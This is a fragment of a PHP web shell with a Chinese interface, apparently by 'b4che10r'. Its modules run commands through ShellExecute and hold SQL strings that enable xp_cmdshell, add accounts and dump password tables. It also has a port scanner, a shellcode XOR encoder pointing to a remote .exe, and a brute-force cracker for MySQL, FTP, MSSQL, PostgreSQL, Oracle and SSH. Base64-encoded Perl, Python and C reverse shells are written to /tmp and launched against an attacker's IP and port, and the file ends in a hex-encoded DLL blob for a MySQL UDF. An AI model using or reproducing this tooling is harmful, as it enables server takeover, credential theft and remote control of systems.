                            '; } } elseif($object == 'application') { $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; print<< +

                            命令参数:
                            +


                            +END; +if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '成功' : 'Faild'; } elseif($object == 'adodb') { $string = isset($_POST['string']) ? $_POST['string'] : ''; $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +连接字符串:
                            + +

                            SQL命令:
                            + +
                            +END; +if(!empty($string)) { @$shell->Open($string); $result = @$shell->Execute($sql); $count = $result->Fields->Count(); for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} echo $result ? $sql.' 成功
                            ' : $sql.' Faild
                            '; if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                            ';}@$result->MoveNext();}} $shell->Close(); } } $shell = NULL; echo '
                            '; return true; } function Port_i() { print<< +
                            +扫描 IP
                            +

                            端 口
                            +

                            +

                            +END; +if((!empty($_POST['ip'])) && (!empty($_POST['port']))) { $ports = explode('|',$_POST['port']); for($i = 0;$i < count($ports);$i++) { $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; ob_flush(); flush(); } } echo ''; return true; } function shellcode_decode($Url_String,$Oday_value) { $Oday_value = hexdec($Oday_value); $$Url_String = str_replace(" ", "", $Url_String); $SHELL = explode("%u", $Url_String); for($i=0;$i < count($SHELL);$i++) { $Temp = $SHELL[$i]; $s_1 = substr($Temp,2); $s_2 = substr($Temp,0,2); $COPY .= $s_1.$s_2; } for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} return $Decode; } function shellcode_encode($Url_String,$Oday_value) { $Length =strlen($Url_String); $Todec = hexdec($Oday_value); for ($i=0; $i < $Length; $i++) { $Temp = ord($Url_String[$i]); $Hex_Temp = dechex($Temp ^ $Todec); if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; $hex .= $Hex_Temp; } if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; for ($n=0; $n < strlen($hex); $n+=4) { $Temp = substr($hex, $n, 4); $s_1= substr($Temp,2); $s_2= substr($Temp,0,2); $Encode.= '%u'.$s_1.$s_2; } return $Encode; } function shellcode_findxor($Url_String) { for ($i = 0; $i < 256; $i++) { $shellcode[0] = shellcode_decode($Url_String, dechex($i)); if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) { $shellcode[1] = dechex($i); return $shellcode; } } } function Shellcode_j() { $Oday_value = '0'; $Shell_Code = 'http://blog.taskkill.net/mm.exe'; $checkeda = ' checked'; $checkedb = ''; if(!empty($_POST['code'])) { if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} if(!$Oday_value) $Oday_value = '0'; if(!$Shell_Code) $Shell_Code = '不能发现shellcode现在链接'; $Shell_Code = htmlspecialchars($Shell_Code); } print<< +
                            XOR值:    +编码 shellcode with XOR 解码 shellcode with XOR
                            +
                            +
                            + +END; +return true; } function Crack_k() { $MSG_BOX = '等待消息队列......'; $ROOT_DIR = File_Mode(); $SORTS = explode('/',$ROOT_DIR); array_shift($SORTS); $PASS = join(',',$SORTS); for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) { $SORTPASS = explode(',',$_POST['pass']); $connect = false; $MSG_BOX = '没有发现'; for($k = 0;$k < count($SORTPASS);$k++) { if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; } } print<< +
                            {$MSG_BOX}
                            +
                            主机
                            +
                            用户
                            +
                            密码
                            +
                            破解项目: Mysql +FTPmssqlPgsqlOracleSSH
                            +
                            +END; +return true; } function Linux_l() { echo '

                            '; print<<
                            +你的 IP: +你的 端口: +使用脚本: +

                            +END; +if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) { if($_POST['use'] == 'perl') { $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                            ' : 'create /tmp/b4che10r_pl faild
                            '; $perlpath = Exec_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'python') { $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                            ' : 'create /tmp/b4che10r_py faild
                            '; $pypath = Exec_Run('which python'); $pypath = $pypath ? chop($pypath) : 'python'; echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'c') { $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                            ' : 'create /tmp/b4che10r_bc.c faild
                            '; $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/b4che10r_bc.c'); echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; } echo '
                            local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; } echo ''; return true; } function Mysql_shellcode() { return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d907c54eb2604d8f4e3865d8c7e8659acd1928182206c0efad42664b6ef473f74d7a8d681273590a487f250c143bd18253c3df904b620f4203757b029d8b41bfbcb9ace3d5e7673386dab5e3e486a3f49bbf89f5a4c67e0c1067c0adf6bbdfa43cd6289c1e45e46fc4f236a708684f9461787a90f6fd9a1f55690bbb3ddfcb94d960c39f58110acd1a4538b6ae85b06e4024610575bc3069a2b90b07e01096854e1e8bd00260bd495f975c8543030031c6fbcd201bf384f27f72af8c9ce354ef66a27fbc04dc0bb34f7a67518575d78bcac95243f1743b0f843f7806d1b6278766e05e90694a328230b378516ece63e46180a0c2d3972674fa8de29c864198e66173bea93f54995bfaa4b1e8638ba111187e26161d23ddbaff9a1dde6c8601b6c1c5e0658a153685de38e7a92a39d34587d67d10da2d7a01e70ac5488b16d0002229154101f0d5f6afd6636f7e376a3d5842861f8c5642b81676a5a3dc14de9bfe1e3011cb9e4cdd6a1afa87e84f86ee792a090f48f9540a23eb0928cf8d9f52a44acba76c827494bb6ef8971f1690d441f0ba8322b5cb15ee105e95ab47f560ecef4d5046c75ded3523549b3a2a0c878906af9ef17bddb57d82a437932d9b6802cf178e34f9c4764054f01902258e7d2317b9a98e78bc273e406d6fd2d33c4270cfd4596fedec01c4f9e6216f73a71e930b208d247dceee69f0d1f55a179c70b69f71c0e8a8b4cfdd89cdb1908d6d96b33d98a26456f79f26c744f9f7508983324cc354c1f20f89480c8c506fa04f59cb8ae99f8bf4ae9ba8b06f6aa052b695aa5da8143eefda5b3a4d65b0333f944861d2d53503236151731f4b262d66597865ffebc3474f3566b56f4ba520e9fd933c304ef9ca43bd6336e9b82e0e76724c1820aa1bc231ae694cf759938c29c210cb676885a65b4ae212f4382788458ea9a136bfc9bfed6f159e0844c4db54a3bac68d95cc91623f7e1476f8f736c131097daf671157f18d67116a2d273fa9e53375955bb7bb6ecb3518e7f05dd9248a1e26607708ab2a67904c44325fbe219e04512da82e93d466fa33a7d00d70d1cd45d650f3bf001bd7a2d0ae1c545fb75fb6af69bbde85e358e272b26dd2ea189db0a41c1131ec3882d5b72e3a643e02527909758ba4bd542746b60d822b35884b828a12b683aa4abd4861f7a249bbc0dbc12559e88c2bce5bf5aa35c0b17c69794abbc5765e7eabca36ebfb7318998f974d42f3df2564e29abe38e7671d25702051346b86fa36f6b71dae27e7506e5a5a790658646ab672bb825857890107e837992ab33ad751963c155d5d85dbca61092accb9e38c4589db3487082068f2dfc818fe05f8ce8a18dfc6716e0466e87d79ad6bf1353b0a34be96416d0f44c44a9563fdbc2c093875a385ecfdc6e11a488964690333669e8dc714957e0e1b3ce29c2309bd17ccc74520cda658381385821f44137a3486a682fcefc2e111d8304264538a64e8acb6e791960342463f970c4d250e154f28b66a5a7011bf7942c04e053804c100e79a1cbc4278f689ab9a3bd4669928bcad4c165644b53695fc7910a2129a872e548de830ef3b7ee255e7b6480f06f9fd895e84e5b5e038ffc0389317e95a79dbe8c95c8b8bcaef5a524abd85da966e905d2db3946d56eee8f5006ce54eea02c035af841bdcf95509422fc24329e6a03bf6eafbefe5b6ffe19f45a63ceb73ef8bcb0ea9e3030d27c3d6a8ddd88b041dc47fb229431498262a8887785dd8657c055229dad916a71360aa931bd7e158b6c17e3a2d8cefd88f77e40ebbcfa4db96b89d6f51402d7e325a8e64fe1fab085568dc5f373bce2bd05b24eb60f87214fa162086d5521d39ee0eb565f86f338ff996e3fcf4a9dc36f3a32cdcc356eff69cc0f5bacea0f331494796d808168b83eeb8489c0f687052c709e7558005e7d34aa60424265cc8a656d065ca83b78ed51d0a2a6f1768c3048ade80275469ca6091a5720d56e36c1c5dc0f6fa344259d34c2324821ede5ce0ddf1b9d9132270a6c2ace863d258b5377f3dabd660a0c4d59278fa23f056d76b077812e7db036500bdd1bb333043ff1aa5267ed828ee5af9e4cdbdeea851f3234f93700e681f13b5eacb938e03851d4e80f319d5dc8e6439fa41475d6f133d131cebefe4db7f3a7c0b9d62511805373e2a5ccb637b81fd27fddf03eb72d74bf20b54e00a501acf1a61aba9d994055402d838b85930912630335e5b545c0058d9474e5ac355a5f630f8ae6e3860bf8a62798926179a3bc9c2e7264752ea7a0b45bb6053169504510e70a043d3efdc5af76a2e1df04c2a2b7cf96dff5e8f212510d9dfec01b425107c9c8fa7500637a27eff7bb7eb7935566bfaf5d37323def1740318875ba2e0cea9dd3ae9ab7d0bf74ad9fb7c87c91a62aafd80b8661f28d5148d92a4f8f80167b786751a40edca8b3de8c2bb05c7cd682865ac3493377cba23a4e1fea18299336e7533e38af3598acde9646c1d6164b3fa8059aaa522824f6ffb90c12b4827d0e0302153f2126201bb6b588875cab0d346a7dc8749654f503f01bd9a4e672a88104829417bfd2e344b435fd111ce7ff27b56c81b44c487df01e63f0ba70228ad76fa2b4e0d5a57d7f63827afc2328a3f6b679eb581c9247689baf8057fc892bf5b323f19091b085bfd1625d7458d8a8a8ba3248fe992fe9edb14dafe34355234271d9ceaf4e9e298c02743be6b5488a8e248baae788e793301078ebc3824424374a0624404d6ce2d268fcf0052a20125e71295eea2b0c395ecb2f4bc20efd7270e4b00f2a17de04a587c4e17bdbb07713f830be090c4200db5477f75e44c9714d4eee288e438fd3c6887e5b08ba6f2f015dc749871fed99ac7bb5d25de80ff396f0139c1a98ecf25971383068cd71083d9a3d11f73860372efeb266da459d9e3f49d7c6a47e034ba7d97142cc6183bdcd38b0881ae1806107